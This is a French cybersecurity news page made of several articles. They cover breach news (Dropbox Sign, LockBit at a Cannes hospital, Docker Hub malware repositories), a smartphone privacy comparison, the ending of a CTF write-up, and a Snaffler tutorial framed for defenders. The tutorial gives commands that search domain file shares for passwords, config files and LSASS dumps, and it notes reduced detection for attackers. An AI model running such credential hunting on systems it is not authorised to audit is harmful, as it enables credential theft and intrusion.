Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.
La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.
Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.
Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.
Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.
V. Conclusion
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.
Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment Dropbox Sign. Anciennement appelé HelloSign, il s'agit d'un service en ligne de signature électronique. C'est ce service qui est impacté par l'incident de sécurité.
En effet, le 24 avril 2024, Dropbox a détecté un accès non autorisé à l'environnement de production de son service Dropbox Sign. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à ce compte compromis, Dropbox précise que le pirate a pu accéder à la base de données clients.
Cet incident de sécurité affecte uniquement Dropbox Sign : "D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.", peut-on lire sur le site de Dropbox.
Que contient cette base de données ?
Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le nom d'utilisateur, l'adresse e-mail, le numéro de téléphone, ainsi que le mot de passe du compte. Le précieux sésame n'est pas accessible directement en clair, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.
Ce n'est pas tout ! Le cybercriminel a pu également accéder aux réglages du compte, aux données liées à l'authentification multifacteurs, aux clés d'API et aux jetons oAuth. Des informations précieuses pour faire le pont avec d'autres applications et services.
Cette fuite de données concerne aussi les utilisateurs invités, qui n'ont pas forcément un compte Dropbox Sign : "Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.", peut-on lire sur le site de Dropbox.
Comment se protéger ?
Si vous utilisez Dropbox Sign, vous devez changer votre mot de passe dès que possible et effectuer une nouvelle configuration de l'application MFA pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.
De son côté, Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs : "En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth."
Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.
Aujourd’hui, on va causer d’un sujet qui tient à cœur de tout le monde : la sécurité et la confidentialité de nos smartphones ! Ernestas Naprys, un journaliste de Cybernews, s’est amusé à comparer les systèmes Android et iOS pour voir lequel était le plus sûr et le résultat ne manque pas de piquant !
Avant de rentrer dans le vif du sujet, petit rappel quand même : nos téléphones ne font pas que nous tenir compagnie la nuit dans le lit… non, non.. ils en profitent aussi pour fureter à gauche et à droite, accédant à nos données et discutant avec des serveurs du monde entier, parfois même jusqu’en Russie !
Bref, notre Sherlock a installé le top 100 des applis iOS et Android sur des téléphones remis à zéro, les a lancé et laissé comater tranquillos pendant 5 jours.
L’objectif ? Tracer chaque petite connexion sortante pour voir à qui elle cause en douce.
Résultat des courses : L’iPhone se révèle être un sacré bavard, engrangeant 3308 requêtes par jour en moyenne, contre 2323 pour son rival Android. Mais attention, le diable se cache dans les détails ! Si iOS papote plus, il le fait principalement avec ses potes de chez Apple (60% du trafic quand même). Android, lui, est beaucoup plus partageur et distribue ses requêtes à tout va, surtout via des applis tierces.
Autre fait marquant, quand il s’agit de taper la discute avec des serveurs situés en Russie ou en Chine, Android est un vrai moulin à paroles ! Là où l’iPhone n’envoie qu’un petit coucou quotidien en terre de Poutine, le robot vert se fend d’un joyeux « Priviet ! » pas moins de 39 fois en 3 jours. Et côté Chine, c’est la même : Android ça y va tranquille tandis qu’iOS lui fait l’impasse complète et n’envoie rien vers l’Empire du Milieu.
Côté applis douteuses niveau confidentialité, là encore, c’est pas la même sauce ! Facebook ? 200 requêtes par jour sur Android, seulement 20 sur iOS. TikTok ? 800 check quotidiens pour le Android, 36 en tout sur 5 jours pour la pomme.
Alors, comment expliquer cet écart de comportement entre les deux systèmes ?
Notre expert avance 2 hypothèses :
Tout d’abord un App Store mieux tenu, avec moins d’applis potentiellement malveillantes ou intrusives, mais également une politique bien plus stricte d’Apple envers les développeurs qui voudraient mettre leur nez dans nos petites affaires.
Bon mais qu’est-ce qu’on fait nous du coup ?
Et bah comme d’hab’, le mieux c’est d’avoir le moins d’applis possibles, et de privilégier celles qui ont pignon sur rue. Évitez de synchroniser tous vos comptes et toutes vos données dans tous les sens, et pensez à faire un petit coup de ménage de temps en temps dans vos applis. Moins y a de bordel, mieux c’est.
Autre chose : privilégiez le bon vieux navigateur web plutôt que les mini-browsers intégrés dans les applis, qui sont de vraies passoires. Voici un petit tuto pour voir par vous-même à qui causent vos applis :
Ce 2 mai est la journée mondiale du mot de passe. Au Royaume-Uni, une loi interdit désormais de mettre des mots de passe par défaut trop faibles dans les objets connectés, comme « admin / password ». Un exemple à suivre.
Ce 2 mai est la journée mondiale du mot de passe. Au Royaume-Uni, une loi interdit désormais de mettre des mots de passe par défaut trop faibles dans les objets connectés, comme « admin / password ». Un exemple à suivre.
Une équipe de chercheurs en sécurité a analysé trois campagnes malveillantes s'appuyant sur des dépôts Docker Hub. D'après eux, environ 2,81 millions de dépôts sont utilisés à des fins malveillantes. Faisons le point sur cette menace.
D'après les chercheurs en sécurité de chez JFrog, environ 20 % des dépôts hébergés sur la plateforme Docker Hub contiennent du contenu malveillant, y compris des malwares. Ils ont découvert 4,6 millions de dépôts sans aucune image Docker, et donc inutilisables à partir de Docker et Kubernetes. Parmi ces dépôts, 2,81 millions ont été associés à trois campagnes malveillantes importantes lancées en mars 2021. Mais alors, quelles sont les données stockées dans ces dépôts sur Docker Hub ?
Docker Hub comme point de départ pour piéger les utilisateurs
Les cybercriminels utilisent les dépôts pour appâter les utilisateurs, en s'appuyant sur différentes techniques, dont le phishing. Par exemple, la technique baptisée "eBook Phishing" consiste à utiliser un dépôt Docker Hub pour inviter l'utilisateur à télécharger un eBook, au format PDF ou EPUB. Sauf qu'il est redirigé vers un site malveillant dont l'objectif est de collecter des numéros de cartes bancaires.
Nous pouvons citer également la technique "Downloader" où le dépôt Docker Hub est utilisé pour promouvoir des logiciels piratés ou des logiciels de triche pour les jeux-vidéos. Les cybercriminels utilisent des textes générés automatiquement et joue sur la description pour optimiser le référencement de la page. Là encore, la victime est redirigée vers un site malveillant grâce à un lien intégré à la page du dépôt. Ici, l'objectif est de déployer un malware sur la machine de la victime.
Pour rendre légitime leur lien et essayer de tromper l'utilisateur, les pirates usurpent l'identité de services de réducteurs d'URL. Par exemple, le domaine "blltly[.]com" vise à usurper l'identité du service légitime "bitly.com".
Voici un exemple :
Source : JFrog
Le graphique ci-dessous proposé par JFrog montre que le Docker Hub est activement utilisé pour des activités malveillantes. Certaines actions sont automatisées, ce qui explique le nombre conséquent de dépôts.
Source : JFrog
L'équipe de Docker a fait le ménage
La bonne nouvelle, c'est que l'équipe de modération du Docker Hub a supprimé l'ensemble des dépôts malveillants suite à l'analyse effectuée par les chercheurs de JFrog. Néanmoins, il convient de rester méfiant, car il y en a surement d'autres, et d'autres seront probablement créés par la suite.
Même si le Docker Hub est une source officielle pour le téléchargement des images Docker, c'est avant tout un espace communautaire sur lequel nous pouvons retrouver "tout et n'importe quoi". Ce n'est pas un cas isolé, puisque certains pirates exploitent la plateforme PyPI dans le cadre de leurs activités malveillantes.
J’sais pas si vous savez, mais dès que vous créez un fichier, il y a plein de données qui se retrouvent dedans, la plupart du temps à votre insu… Et ça fonctionne avec tout : Photos, documents, morceau de musique et j’en passe. Cela s’appelle des Métadonnées, ça n’a rien de nouveau mais c’est bien utile aux pentesteurs et autres experts OSINT pour mener à bien leurs enquêtes.
Évidemment, les mecs ont autre chose à faire et plutôt que d’aller fouiller tout à la main, ils se reposent sur des outils comme celui que je vous présente aujourd’hui et qui s’appelle MetaDetective.
Développé par des passionnés de cybersécurité, MetaDetective est propulsé par Python et contrairement à certains outils qui dépendent d’une myriade de bibliothèques externes, il est plutôt autonome et simple à utiliser. Seul prérequis : avoir exiftool installé sur votre système. Une fois cette étape franchie, vous êtes prêt à plonger dans l’aventure !
L’une des forces de MetaDetective réside surtout dans sa capacité à catégoriser et à présenter les métadonnées de manière intuitive. Fini le casse-tête des données brutes et désorganisées. Que vous analysiez un fichier unique ou un ensemble de documents, MetaDetective vous offre une vue d’ensemble claire et structurée. Chaque information est minutieusement classée, vous permettant de naviguer aisément dans la richesse des données extraites.
L’outil intègre des fonctionnalités avancées de web scraping et là où d’autres se contentent de gratter la surface, MetaDetective, lui, plonge en profondeur, explorant méticuleusement de nombreux sites web pour en extraire les métadonnées les plus pertinentes. Oubliez les restrictions d’IP et les proxy laborieux à des services tiers, puisqu’il va directement se fournir à la source.
Vous pourrez bien évidemment ajuster la profondeur d’exploration, cibler des types de fichiers spécifiques, et même exclure certains termes pour affiner vos résultats. Et grâce à ses options d’exportation flexibles, vous pouvez générer des rapports clairs au format HTML ou texte.
Mais attention, avec un grand pouvoir vient une grande responsabilité. L’utilisation de MetaDetective doit se faire dans le respect des lois et réglementations en vigueur. Cet outil puissant ne doit pas être utilisé à des fins malveillantes ou illégales.
Pour en savoir plus sur MetaDetective et accéder à sa documentation complète, rendez-vous ici.
Le gang de ransomware LockBit a revendiqué la cyberattaque contre l'Hôpital Simone Veil de Cannes ! Cet acte malveillant s'est déroulé il y a deux semaines. Voici les dernières informations !
Souvenez-vous : dans la nuit du 15 au 16 avril 2024, l'Hôpital Simone Veil de Cannes a été victime d'une cyberattaque. Cet incident de sécurité a eu un impact important sur l'Hôpital, contraint de fonctionner en mode dégradé et de reporter certains rendez-vous.
Le redoutable groupe de cybercriminels LockBit est de retour ! Pourtant, il a été fortement perturbé et contrarié par l'opération Cronos menée par les forces de l'ordre de 10 pays, en février dernier. Lors de cette opération, des serveurs de LockBit ont été saisis et les autorités étaient parvenus à publier un outil de déchiffrement pour permettre à certaines victimes de récupérer leurs données. Deux mois après cette opération, les cybercriminels de LockBit s'en sont pris à cet hôpital français.
En effet, ceci semble être de l'histoire ancienne, car ce 30 avril 2024, le groupe de LockBit a revendiqué la cyberattaque contre l'Hôpital Simone Veil de Cannes. L'établissement a été référencé sur le site de LockBit :
Source : Numerama
Désormais, l'Hôpital Simone Veil de Cannes doit payer la rançon demandée par les pirates, sinon les données volées lors de la cyberattaque seront divulguées. En plus de chiffrer les données, les cybercriminels de LockBit ont pour habitude d'exfiltrer les données pour mettre la pression à leur victime. Dans le cas présent, la direction devrait avoir pour consigne de ne pas payer la rançon, donc des données seront certainement publiées.
Pour le moment, l'Hôpital Simone Veil de Cannes n'a pas confirmé ces informations. À suivre.
Dans cet article, nous allons explorer la problématique du stockage d'informations sensibles dans les partages de fichiers d'un système d'information et des conséquences que la mauvaise gestion des permissions et les négligences humaines peuvent avoir. Je vous partagerai mon retour d'expérience à ce sujet et notamment pourquoi il s'agit d'un incontournable dans le mode opératoire d'un attaquant lors d'une cyberattaque.
Nous allons également apprendre à utiliser l'outil Snaffler, qui peut être utilisé par la blue team (équipe de défense du SI) afin d'avoir une démarche proactive sur ce sujet et complémentaire vis-à-vis des autres bonnes pratiques de sécurité que nous allons évoquer.
Snaffler est un outil qui permet d'automatiser la recherche d'informations sensibles dans tous les partages de fichiers des systèmes du domaine. Cela grâce à de la découverte automatique de partage ainsi que des règles pré-conçues et personnalisables.
II. Partage réseau et informations sensibles
Les diverses missions que j'ai accomplies en tant qu'auditeur en cybersécurité et pentester m'ont conduit à la conclusion suivante : il est presque impossible de garantir qu'une donnée sensible n'est pas accessible à un utilisateur non légitime dans les partages réseau.
La recherche de fichiers contenant des mots de passe ou des données techniques sensibles est toujours une opération fructueuse via un compte authentifié sur le domaine.
La multitude de groupes, sites géographiques, permissions, ACL, partages, dossiers et sous-dossiers multipliée par la négligence, les mauvaises pratiques humaines et l'historique du SI font que dès qu'un attaquant compromet un compte utilisateur sur un domaine, il parvient à obtenir des identifiants grâce à une recherche d'information dans les partages de fichier. Ces identifiants peuvent être stockés dans :
des fichiers bureautiques;
des fichiers textes;
des coffres-fort de mots de passe;
des fichiers de configuration;
le code source d'une application web;
des disques dur de machines virtuelles;
des archives contenant un ou plusieurs des items précédents;
etc.
Le stockage d'informations sensibles dans les partages réseau des serveurs d'une entreprise est plutôt commun. C'est exactement le but de ces services : stocker les informations critiques de l'entreprise sur ses propres serveurs, au sein de son propre système d'information.
Cependant, c'est la gestion des permissions d'accès à ces informations qui pose majoritairement un problème. Une fois que l'attaquant obtient un compte valide du domaine, il peut alors profiter des droits de cet utilisateur, les groupes métiers auquel il appartient donneront de fait accès aux données relatives à son contexte métier.
Ça, c'est dans le meilleur des cas. Dans la réalité, le fait de disposer de n'importe quel compte utilisateur valide sur le domaine permet de profiter des droits permissions aux groupes "Tout le monde" et "Utilisateurs authentifiés". Ce sont les droits accordés à ces groupes sur les partages de fichiers qui sont généralement beaucoup trop permissifs. Et pour cause, lorsque l'on souhaite partager un dossier, celui-ci intègre par défaut une ACL de lecture sur le groupe "Tout le monde" (qui comprend "Utilisateurs authentifiés"), qu'il faut manuellement supprimer :
Pour rappel, Le groupe "Authenticated Users/Utilisateurs authentifiés" englobe tous les utilisateurs dont l'authentification a été vérifiée lors de leur connexion. Cela inclut à la fois les comptes d'utilisateurs locaux et ceux provenant de domaines de confiance. Le groupe "Tout le monde" inclut tous les membres du groupe "Utilisateurs authentifiés" ainsi que le compte intégré Invité, et divers comptes de sécurité intégrés (SERVICE, LOCAL_SERVICE, etc.).
Il faut aussi intégrer le fait que plus l'attaquant compromettra de compte utilisateur, plus il profitera des nouveaux privilèges obtenus pour accéder à de nouveaux partages et dossiers réseau en fonction des groupes d'appartenances des groupes compromis.
Par négligence, facilité ou ignorance des conséquences, il est très fréquent que la plupart des partages de fichiers soient accessibles aux membres du groupe "Utilisateurs authentifiés" du domaine, c'est-à-dire tous les utilisateurs.
Également, il faut connaitre et noter la différence entre les permissionsappliquées les partages réseau et lespermissions NTFS (appliquées sur les dossiers et sous-dossiers de ces partages). Ces permissions NTFS permettent de gérer les permissions des différents dossiers à l'intérieur d'un partage de fichier, en autorisant ou interdisant l'accès à des dossiers spécifiques. Dans les faits, cela permet donc de définir de façon granulaire qui a accès à quel dossier, mais cela rajoute de la complexité de gestion qui peut mener à des erreurs, des oublis, etc.
Pour mieux comprendre la différence entre permissions NTFS et permissions des partages, je vous invite à consulter notre article à ce sujet : Serveur de fichiers – Les permissions NTFS et de partage, résumé dans la vidéo ci-dessous :
Il est à noter que par "informations sensibles", la première idée qui vient en tête est bien sûr le mot de passe d'un compte privilégié du domaine. Dans un contexte d'entreprise, il peut s'agit également de données métiers (secrets industriels), d'informations financières et bancaires, mais aussi d'informations personnelles (RGPD) concernant les clients ou les salariés de l'entreprise. Nous verrons par la suite que ce détail à une importance pour la red team (attaquant), mais aussi pour la blue team (défenseur) qui souhaite avoir une démarche proactive et rechercher elle-même l'exposition excessive de données dans les partages réseaux.
Lors d'une cyberattaque, pour accomplir cette tâche de manière complète, la red team doit opérer de la façon suivante :
Énumérer les hôtes du domaine.
Énumérer les services de partage de fichiers présents sur ces hôtes.
Énumérer les partages exposés et les permissions d'accès avec l'utilisateur courant.
Parcourir chaque dossier et chaque fichier accessible à la recherche d'informations sensibles.
Vous l'imaginez bien, cette tâche est fastidieuse et ne peut être menée à bien dans un délai raisonnable. C'est pourquoi des outils ont été créés pour l'automatiser de façon efficace. De plus, ces opérations sont fréquentes dans le mode opératoire des attaquants et disposent de leur propre TTP dans le framework MITRE ATT&CK, preuve qu'il s'agit d'un sujet à prendre au sérieux :
Prenez notamment le temps de jeter un œil à la section "Procedure Examples" du TTP T1083. Cette section liste les cas avérés et documentés de cyberattaque ayant exploité ce TTP. Ici, près de 350 cas sont répertoriés.
III. Gestion des droits sur les partages réseaux : les bonnes pratiques standard
La gestion des permissions sur les partages réseau est une tâche à la base simple, qui devient très complexe dans un contexte réel d'entreprise. Il faut à la fois permettre la collaboration entre les utilisateurs, s'assurer que le principe de moindre privilège est respecté et garder un œil sur le respect des bonnes pratiques et directives données.
Le principe de moindre privilège est un concept fondamental en cybersécurité. Il consiste à n'accorder à un utilisateur, un processus ou un objet uniquement les privilèges nécessaires à l'accomplissement de ses tâches, et ce, sans accorder de droits superflus.
Ce principe vise à limiter les risques en réduisant la surface d'attaque potentielle. Il est souvent mis en avant lors de la gestion des droits d'accès pour souligner l'importance de mettre en place un modèle de privilèges granulaire, afin de minimiser les risques d'exploitation par des attaquants.
Les mesures "traditionnelles" de sécurité à prendre concernant la gestion des permissions d'accès aux partages de fichiers sont les suivantes :
S'assurer que les partages de fichiers ne sont pas accessibles en mode anonyme : cela peut paraitre étonnant, mais c'est beaucoup plus fréquent qu'on ne le croit d'après mes expériences.
Définir un modèle de droit clair et efficace, adapté au contexte de sécurité de l'entreprise. Pour trouver un modèle "standard" de sécurité, vous pouvez notamment consulter cet article sur la méthode AGDLP : AGDLP – Bien gérer les permissions de son serveur de fichiers.
S'assurer d'avoir une équipe formée sur le sujet : la gestion des droits sur les partages de fichiers peut avoir quelques secrets. Il faut s'assurer que notre équipe est techniquement formée, mais qu'elle connait aussi les bonnes pratiques internes de l'entreprise afin de savoir s'il y est légitime que tel groupe accède à telle information. On peut citer la directive n°1 du guide d'hygiène de l'ANSSI : Former les équipes opérationnelles à la sécurité des systèmes d’information.
Sensibiliser et former les utilisateurs concernant la manipulation, le stockage et la partage d'informations sensibles au quotidien, au sein d'une équipe ou avec des utilisateurs externes : On peut citer la directive n°2 du guide d'hygiène de l'ANSSI : Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.
Archiver les données qui ne sont plus utilisées afin de réduire la surface d'attaque. Il est évident que si une donnée n'est plus exposée, elle ne pourra être compromise.
Même avec toutes ces bonnes pratiques, qu'est-ce qui empêcherai un utilisateur de stocker le mot de passe du compte X (ex-Twitter) de l'entreprise dans un fichier texte sur le partage "\\SRV-FICHIER\Communs\Communication", pour l'échanger plus facilement avec ses deux collègues du pôle communication ?
IV. Démarche proactive de recherche d'informations sensibles dans les partages
A. Snaffler : automatiser la recherche d'informations sensibles
En complément des mesures et bonnes pratiques listées dans la section précédente, la blue team peut souhaiter avoir une démarche proactive et utiliser elle-même les outils et méthodes des attaquants. Cela dans le but de vérifier que les mesures de sécurité sont efficaces et bien implémentées au travers des vérifications régulières. C'est ici que Snaffler entre en jeu.
Snaffler est un exécutable plutôt simple d'utilisation au regard de la charge de travail qu'il permet d'économiser. Comme indiqué précédemment, dans son utilisation standard, celui-ci va
Se connecter à l'Active Directory et lister les objets "Ordinateur".
Se connecter à chaque ordinateur afin de lister les partages de fichiers exposés.
Vérifier les droits de lecture sur chacun des partages, dossiers et sous-dossiers avec l'utilisateur courant.
Lister les fichiers et sélectionner les plus intéressants.
Lire le contenu de chacun des fichiers accessibles dans ces partages en fonction des règles de recherche configurées.
À chaque étape de ce processus sont appliquées des règles de matching afin de déterminer si le partage, répertoire ou fichier est intéressant ou doit être mis de côté. Ce processus peut être schématisé de la façon suivante :
Schéma macro du fonctionnement de Snaffler.
B. Utiliser Snaffler au sein d'un domaine Active Directory
Maintenant que nous avons introduit le sujet, passons à l'action. Il faut bien sûr commencer par télécharger l'exécutable depuis son dépôt Github : Github - Snaffler.
Attention, il faut également savoir que le binaire "Snaffler.exe" peut être détecté comme malveillant par certains EPP et EDR, le binaire étant autant utilisé par les défenseurs que par les attaquants, il est normal que des solutions de sécurité le catégorisent ainsi :
Analyse VirusTotal de la dernière version de Snaffler.exe.
D'après cette analyse VirusTotal réalisée sur la dernière version de Snaffler, 43 des 73 produits de sécurité utilisés considèrent le binaire comme malveillant. Il faudra donc certainement passer par une mise en liste blanche du binaire.
Snaffler est open-source, vous pouvez donc étudier son code source avant exécution sur votre système d'information.
Le plus simple pour avoir une vue rapide de ses capacités et de l'exécuter depuis un poste du domaine avec un utilisateur "non privilégié" du domaine.
Cependant, les choix de l'utilisateur et de la position sur le réseau du système utilisé ont ici leur importance et doivent refléter la situation de l'attaquant tel que souhaité dans votre simulation. S'agit-il d'un compte RH, stagiaire ou d'un membre de l'équipe IT ? L'attaquant effectue-t-il sa recherche depuis le réseau Wifi invité, le poste utilisateur de l'accueil ?, etc. À ce titre, plusieurs itérations du même test peuvent être effectuées, en modifiant le compte utilisateur utilisé ou la position réseau du système émettant la recherche. Vous pourrez alors comparer les résultats obtenus.
Depuis un poste intégré au domaine et un compte utilisateur valide sur le domaine, j'utilise Snaffler de la façon suivante :
.\Snaffler.exe -s -v Data
L'option "-s" est utilisée ici pour rediriger la sortie vers le terminal et l'option "-v Data" est utilisée pour définir le niveau de verbosité. "Data" signifie ici que nous n'aurons que des informations à propos des données trouvées, aucune information de debug.
Pas d'authentification, pas de spécification de cible (même si cela est possible via les options). Snaffler va utiliser la session actuelle de l'utilisateur ainsi que les informations du domaine pour se connecter à l'Active Directory et commencer son énumération.
En fonction de votre système d'information, Snaffler peut s'exécuter pendant assez longtemps (j'ai déjà vu des cas où l'analyse prenait plusieurs heures). Cependant, vous devriez avoir des premiers résultats assez rapidement. Ceux-ci s'affichent au fil de l'eau.
Voici un exemple de résultat (cliquez sur l'image pour zoomer) :
Exemple de sortie produite par Snaffler avec découverte d'informations sensibles.
A noter que pour une utilisation en live, cette première commande suffit. On peut toutefois stocker la sortie de Snaffler dans un fichier texte, ce qui est notamment intéressant lorsque la sortie produite est volumineuse :
snaffler.exe -s -v Data -o snaffler.log
Snaffler va alors écrire ses résultats dans un fichier dédié, qui pourra être parcouru après coup.
C. Comprendre les résultats de Snaffler
Comme vous pouvez le voir dans la capture ci-dessus, Snaffler peut être assez verbeux dans sa sortie. Lorsque l'on connait la structure de cet affichage, les choses deviennent cependant beaucoup plus simples. Dans un premier temps, on peut voir que Snaffler se connecte à tous les objets Ordinateurs retournés par sa requête LDAP (l'AD et un poste utilisateur dans mon cas) et liste les partages réseau disponibles (Cliquez sur l'image pour zoomer) :
Vue des systèmes et partages découverts par Snaffler dans la sortie standard.
À noter que j'effectue ma démonstration ici avec l'Administrateur du domaine, qui a donc accès à tous les répertoires partagés du domaine. En fonction de votre objectif (trouver absolument une donnée, où qu'elle soit, ou voir à quoi à accès tel profil utilisateur depuis telle position réseau), votre résultat pourra nettement différer.
Suite à cela, Snaffler commence à journaliser des informations à propos des fichiers qu'il trouve intéressant, ainsi que des extraits de ces fichiers (Cliquez sur l'image pour zoomer) :
Vue des fichiers et chaines de caractère découverts par Snaffler dans les partages de mon domaine.
Chaque ligne commence par le nom de l'utilisateur utilisé pour l'énumération ("[IT-CONNECT\Administrateur@AD01]" :
La première ligne nous indique qu'une règle de détection a trouvé un fichier intéressant (d'après son nom) : "confCons.xml". Les connaisseurs reconnaitront le nom d'un fichier de configuration de l'outil "mRemoteNG", utilisé pour stocker les connexions (nom, login, mot de passe) des connexions RDP, SSH, etc.
La seconde ligne est le résultat d'une règle de parsing du contenu d'un fichier et nous donne un extrait d'une donnée de ce même fichier de configuration. C'est souvent le plus intéressant et facile d'accès, car il s'agit de fichier "texte", facile à parser pour Snaffler. Mais, il ne faut pas forcément s'arrêter là.
La troisième ligne est à nouveau une règle de matching sur un nom de fichier. Snaffler a découvert un fichier de dump mémoire (".DMP"). Le chemin et nom complet du fichier (en violet) nous indique qu'il s'agit d'un dump mémoire du processus LSASS, notamment connu pour y stocker les identifiants et sessions des utilisateurs connectés. La structure du fichier n'étant pas du simple texte, Snaffler nous indique simplement sa présence et c'est à nous d'aller plus loin si l'on juge cela intéressant.
Pour mieux comprendre encore, voici la structure de chaque ligne de sortie Snaffler (cliquez sur l'image pour zoomer) :
Détails de la structure de sortie de Snaffler.
La couleur a notamment une importance, elle détermine le niveau de certitude et d'intérêt que Snaffler a sur la présence d'une information recherchée :
Black : certitude que l'information ou le fichier découvert est sensible
Red : a de grande chance d'être ou de contenir une information sensible
Yellow et Green : peut présenter un intérêt, mais une investigation plus poussée est nécessaire
Ces niveaux de catégorisation sont inscrits dans les différentes règles de Snaffler. La découverte d'un champ "password=" dans un fichier sera Red alors que la découverte d'un script PowerShell sera Green. À ce titre, il est possible de filtrer la sortie de Snaffler pour n'afficher, par exemple, que les résultats Red ou Black :
.\Snaffler.exe -s -v Data -b 3
L'option "-b 3" entraine une journalisation de la catégorie Black uniquement (la plus élevée). Je vous recommande cependant de journaliser au moins à partir du niveau Red, qui sont en général pertinents. Pour cela, utilisez l'option "-b 2".
D. Réaliser une recherche locale de données via Snaffler
Nous avons pour le moment utilisé Snaffler dans son mode "par défaut", dans lequel il va lui-même chercher une liste d'hôtes auprès de l'Active Directory. Il est aussi possible de réaliser une exécution uniquement locale de Snaffler, ciblant le système du fichier de l'hôte sur lequel il est déposé, sans communication réseau et avec des chances de détection réduite pour un attaquant :
.\Snaffler.exe -s -v Data -i C:\
Via l'option "-i", on ordonne à Snaffler de ne pas faire de récupération d'hôte et de se fier à notre liste à la place. Cette option peut aussi être utilisée pour spécifier un partage précis sur un système de notre choix :
.\Snaffler.exe -s -v Data -i \\AD01.it-connect.tech\Partage_IT
Enfin, si l'on souhaite que Snaffler effectue une découverte des partages, mais pas des hôtes, on peut lui fournir une liste d'hôte à énumérer avec l'option "-n" :
.\Snaffler.exe -s -v Data -n AD01.it-connect.tech,DESKTOP-VAU6BQO.it-connect.tech
Ces deux dernières options sont intéressantes pour une analyse ciblée sur un serveur ou un partage donné.
V. Utilisation et configuration personnalisée de Snaffler
A. Comprendre le fonctionnement des règles Snaffler
Pour mieux comprendre le fonctionnement de Snaffler, il faut savoir que celui-ci effectue une recherche et catégorisation progressive des fichiers et informations en fonctions des règles fournies. D'abord, il va rechercher les fichiers dans tous les partages, dossiers et sous-dossiers sur lequel il dispose de droits de lecture. Un premier tri est effectué sur ces fichiers :
En fonction de leurs tailles (pour des raisons de performance)
En fonction de leurs extensions (.kdbx, .id_rsa, .ppk, etc.)
En fonction des noms defichier (web.config)
En fonction d'un mot présentdans le nom du fichier ("Mes mots de passe 2024.xlsx")
En fonction de ces critères ou d'une combinaison d'entre eux, Snaffler appliquera une décision :
Discard : Exclure le fichier de l'analyse (trop gros, fichiers généralement pas intéressants ou difficiles à parser).
Keep : Journaliser le fichier (terminal/fichier de log).
Relay : passer le fichier à une ou plusieurs règles en vue d'y chercher une donnée spécifique (en fonction du format/type de fichier). Par exemple, si une règle recherchant les extensions ".ps1" trouve un fichier, elle passera ce fichier à un ensemble de règles permettant d'y chercher les mots "password", "net user", etc. grâce à des expressions régulières.
Les règles sont écrites au format TOML et sont assez complexes au premier abord. Il faut notamment bien comprendre le fonctionnement et les capacités de Snaffler pour les mieux les appréhender. Préférez donc utiliser l'outil dans un premier temps avant de vouloir concevoir vos propres règles.
Les règles par défaut de Snaffler, intégrées dans l'exécutable, sont généralement suffisantes pour avoir des résultats pertinents lors d'une première analyse.
Pour dégrossir le sujet et mieux comprendre Snaffler, étudions la règle suivante :
[[ClassifierRules]]
